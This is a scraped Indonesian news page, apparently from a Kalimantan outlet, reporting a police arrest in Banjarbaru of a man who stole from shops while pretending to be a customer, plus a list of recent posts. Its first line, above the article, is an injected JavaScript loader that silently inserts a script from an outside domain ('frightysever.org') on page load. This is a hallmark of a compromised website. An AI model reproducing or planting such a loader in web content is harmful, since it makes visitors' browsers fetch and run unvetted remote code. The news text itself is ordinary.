(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pencuri Bermodus Pura-Pura Belanja Diringkus Sat Reskrim Polres Banjarbaru


BANJARBARU, Pelaku pencurian berkedok pembeli yang meresahkan warga Banjarbaru berhasil ditangkap Satuan Reskrim Polres Banjarbaru di Jl Trikora. Kapolres AKBP Kelana Jaya melalui Kasat Reskrim AKP Aryansyah mengatakan berhasil mengamankan pelaku berinisial MR (36).

AKP Aryansyah menambahkan pelaku MR diamankan pada hari Rabu (23/1) di jalan Trikora. Setelah di tangkap, kurang lebih 2 minggu melakukan pengembangan dan berhasil mengamankan seorang penadah yang berinisial MAY (48) tahun yang membeli hasil curian pelaku.

“Ada pun dasar penangkapan pelaku pencurian tersebut yakni Laporan Polisi Nomor : LP/ 05 / I / 2019 / KALSEL / RES BJB, Tgl 02 Januari 2019 dengan pelapor Irma Damayanti”, Ucap AKP Aryansyah di ruangannya, Rabu (23/1).

Kasat Reskrim mengatakan, dari hasil introgasi yang dilakukan, pelaku mengakui melakukan aksi pencurian sebanyak 7 kali di tempat berbeda. Yakni di warung daerah Ambulung, Guntung Manggis, Trikora, Landasan Ulin, dan Gambut.

“Untuk pelaku pencurian yang berinisial MR akan dijerat dengan pasal 362 KUHP tentang Tindak Pidana pencurian dengan ancaman hukuman maksimal 5 tahun kurungan penjara. Sedangkan pelaku berinisial MAY yang bertindak sebagai penadah akan dijerat dengan pasal 480 KUHP dengan ancaman maksimal kurungan penjara 4 tahun”, pungkas AKP Aryansyah.

Dikatakan Kasat Reskrim Polres Banjarbaru AKP Aryansyah bagi masyarakat yang pernah menjadi korban kasus tindak pidana pencurian dengan modus berpura-pura menjadi pembeli dan memakai masker wajah, bisa mendatangi Sat Reskrim Polres Banjarbaru untuk melakukan konfirmasi. (rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

15 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

15 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

15 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

17 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

18 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

19 jam ago

This website uses cookies.